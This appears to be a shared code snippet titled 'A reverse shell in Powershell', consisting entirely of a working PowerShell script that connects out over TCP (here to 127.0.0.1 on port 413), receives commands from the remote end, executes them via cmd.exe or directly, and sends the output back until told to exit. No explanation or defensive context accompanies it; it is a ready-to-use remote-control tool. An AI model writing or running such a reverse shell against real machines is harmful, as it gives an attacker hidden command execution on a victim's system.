Created
June 21, 2019 20:42
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A reverse shell in Powershell
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| $socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413); | |
| if($socket -eq $null){exit 1} | |
| $stream = $socket.GetStream(); | |
| $writer = new-object System.IO.StreamWriter($stream); | |
| $buffer = new-object System.Byte[] 1024; | |
| $encoding = new-object System.Text.AsciiEncoding; | |
| do | |
| { | |
| $writer.Flush(); | |
| $read = $null; | |
| $res = "" | |
| while($stream.DataAvailable -or $read -eq $null) { | |
| $read = $stream.Read($buffer, 0, 1024) | |
| } | |
| $out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n",""); | |
| if(!$out.equals("exit")){ | |
| $args = ""; | |
| if($out.IndexOf(' ') -gt -1){ | |
| $args = $out.substring($out.IndexOf(' ')+1); | |
| $out = $out.substring(0,$out.IndexOf(' ')); | |
| if($args.split(' ').length -gt 1){ | |
| $pinfo = New-Object System.Diagnostics.ProcessStartInfo | |
| $pinfo.FileName = "cmd.exe" | |
| $pinfo.RedirectStandardError = $true | |
| $pinfo.RedirectStandardOutput = $true | |
| $pinfo.UseShellExecute = $false | |
| $pinfo.Arguments = "/c $out $args" | |
| $p = New-Object System.Diagnostics.Process | |
| $p.StartInfo = $pinfo | |
| $p.Start() | Out-Null | |
| $p.WaitForExit() | |
| $stdout = $p.StandardOutput.ReadToEnd() | |
| $stderr = $p.StandardError.ReadToEnd() | |
| if ($p.ExitCode -ne 0) { | |
| $res = $stderr | |
| } else { | |
| $res = $stdout | |
| } | |
| } | |
| else{ | |
| $res = (&"$out" "$args") | out-string; | |
| } | |
| } | |
| else{ | |
| $res = (&"$out") | out-string; | |
| } | |
| if($res -ne $null){ | |
| $writer.WriteLine($res) | |
| } | |
| } | |
| }While (!$out.equals("exit")) | |
| $writer.close(); | |
| $socket.close(); | |
| $stream.Dispose() |
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